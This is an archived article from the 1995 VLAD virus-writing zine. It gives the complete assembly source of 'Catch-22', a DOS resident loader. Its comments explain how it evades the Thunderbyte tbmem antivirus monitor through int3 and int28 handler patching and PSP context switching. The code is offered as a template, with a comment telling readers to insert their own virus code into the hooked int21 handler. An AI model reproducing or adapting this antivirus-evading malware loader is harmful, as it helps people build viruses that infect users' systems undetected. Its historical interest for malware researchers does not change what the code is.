home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.5_3 < prev    next >
Encoding:
Text File  |  1995-02-06  |  4.7 KB  |  141 lines

  1.  
  2. ; Catch-22, a TSR loader by Rhincewind [Vlad]
  3. ;
  4. ; This is probably the most experimental thing I've done so far. In this 
  5. ; loader I've combined a few things I learned about tbmem into a pretty 
  6. ; neat loader that the current version of tbmem will not detect.
  7. ;
  8. ; The highloader is pretty straightforward, although it does use one
  9. ; trick I found. It traces the PSP chain all the way back to the command
  10. ; interpreter, then makes that PSP active before a block is allocated for
  11. ; the loader. This so-called 'context switching' will make the newly
  12. ; allocated block property of your command interpreter, ensuring it's
  13. ; lasting residency. Down with direct MCB twiddling!
  14. ;
  15. ; Now tbmem comes into play. First, two facts:
  16. ;
  17. ; Fact 1 - Tbmem detects residency on vectorchanges only. It can't be
  18. ;          bothered to look at the memory itself.
  19. ; Fact 2 - Tbmem does not flag on intel reserved registers being hooked.
  20. ;
  21. ; For starters the loader will hook int3, thereby not alerting tbmem as
  22. ; above. The first byte of the int28 handler, which is an IRET in the
  23. ; original handler, will be overwritten
  24. ; with an int3. Now, as you probably know, only the command
  25. ; interpreter calls int28 (Okay, so do Terminate and a handful of other
  26. ; programs, watch out for those) which is redirected to our routine.
  27. ; We managed to get a routine active around tbmem! Hurray! Now, the int3
  28. ; handler will countdown 75 times, 13 is the minimum btw, to make sure
  29. ; that we're back in command mode, that is, out of the dos deallocation
  30. ; routines before we hook int21, which again, will elude tbmem. Both int28 
  31. ; and int3 are restored and we're done with our loader.
  32.  
  33.                 .model tiny
  34.                 .code
  35.                 org 100h
  36. parasize        equ (endloader-start)
  37. start:
  38.                 mov ax, 'TB'
  39.                 int 21h
  40.                 cmp ax, 'AV'
  41.                 jz exit_tsr
  42.                 mov ah, 4ah
  43.                 mov bx,-1
  44.                 push ax
  45.                 int 21h
  46.                 pop ax
  47.                 sub bx, parasize+2
  48.                 int 21h
  49.                 xor si,si
  50. nextpsp:
  51.                 cmp bx, word ptr ds:[si+16h]
  52.                 mov bx, word ptr ds:[si+16h]
  53.                 mov ds,bx
  54.                 jnz nextpsp
  55. found_cmd:
  56.                 mov ah, 50h
  57.                 int 21h
  58.                 mov ah, 48h
  59.                 mov bx,parasize+1
  60.                 int 21h
  61.                 mov es,ax
  62.                 mov ah, 50h
  63.                 mov bx,cs
  64.                 int 21h
  65.                 push cs
  66.                 pop ds
  67.                 mov si, 100h
  68.                 xor di,di
  69.                 mov cx, endloader-start
  70.                 rep movsb
  71.                 mov ds,cx
  72.                 mov si, 3*4
  73.                 movsw
  74.                 movsw
  75.                 cli
  76.                 mov word ptr [si-4],offset install_21-100h
  77.                 mov word ptr [si-2],es
  78.                 sti
  79.                 mov si, 28h*4
  80.                 movsw
  81.                 movsw
  82.                 mov ax,75h
  83.                 stosw
  84.                 mov word ptr es:[di],75h
  85.                 lds bx, dword ptr ds:[si-4]
  86.                 mov al, 0cch
  87.                 xchg byte ptr ds:[bx],al
  88.                 stosb
  89.                 ;Restore all registers here, including DS&ES
  90. exit_tsr:                
  91.                 int 20h
  92. install_21:     
  93.                 dec word ptr cs:counter-100h
  94.                 jnz exit_int3
  95.                 push ax
  96.                 push di
  97.                 push ds
  98.                 push es
  99.                 xor ax,ax
  100.                 mov ds,ax
  101.                 les di, dword ptr cs:int2offset-100h
  102.                 mov al, byte ptr cs:orgbyte-100h
  103.                 stosb
  104.                 cli
  105.                 les di, dword ptr cs:intoffset-100h
  106.                 mov word ptr ds:[0ch],di
  107.                 mov word ptr ds:[0eh],es
  108.                 mov ax,offset int21-100h
  109.                 xchg ax, word ptr ds:[84h]
  110.                 mov cs:intoffset-100h,ax
  111.                 mov ax,cs
  112.                 xchg ax, word ptr ds:[86h]
  113.                 mov cs:intseg-100h,ax
  114.                 sti
  115.                 pop es
  116.                 pop ds
  117.                 pop di
  118.                 pop ax
  119. exit_int3:                
  120.                 add sp,6
  121.                 iret
  122. ;Replace the handler below with your k-rad virus code.
  123. int21:
  124.                 cmp ax,'TB'
  125.                 jnz return_int
  126.                 mov ax, 'AV'
  127.                 iret
  128. return_int:                
  129.                 jmp dword ptr cs:intoffset-100h
  130. endloader:
  131. intoffset      dw ?
  132. intseg         dw ?
  133. int2offset     dw ?
  134. int2seg        dw ?
  135. counter        dw ?
  136. orgbyte        db ?
  137.  
  138.                 end start
  139.  
  140.  
  141.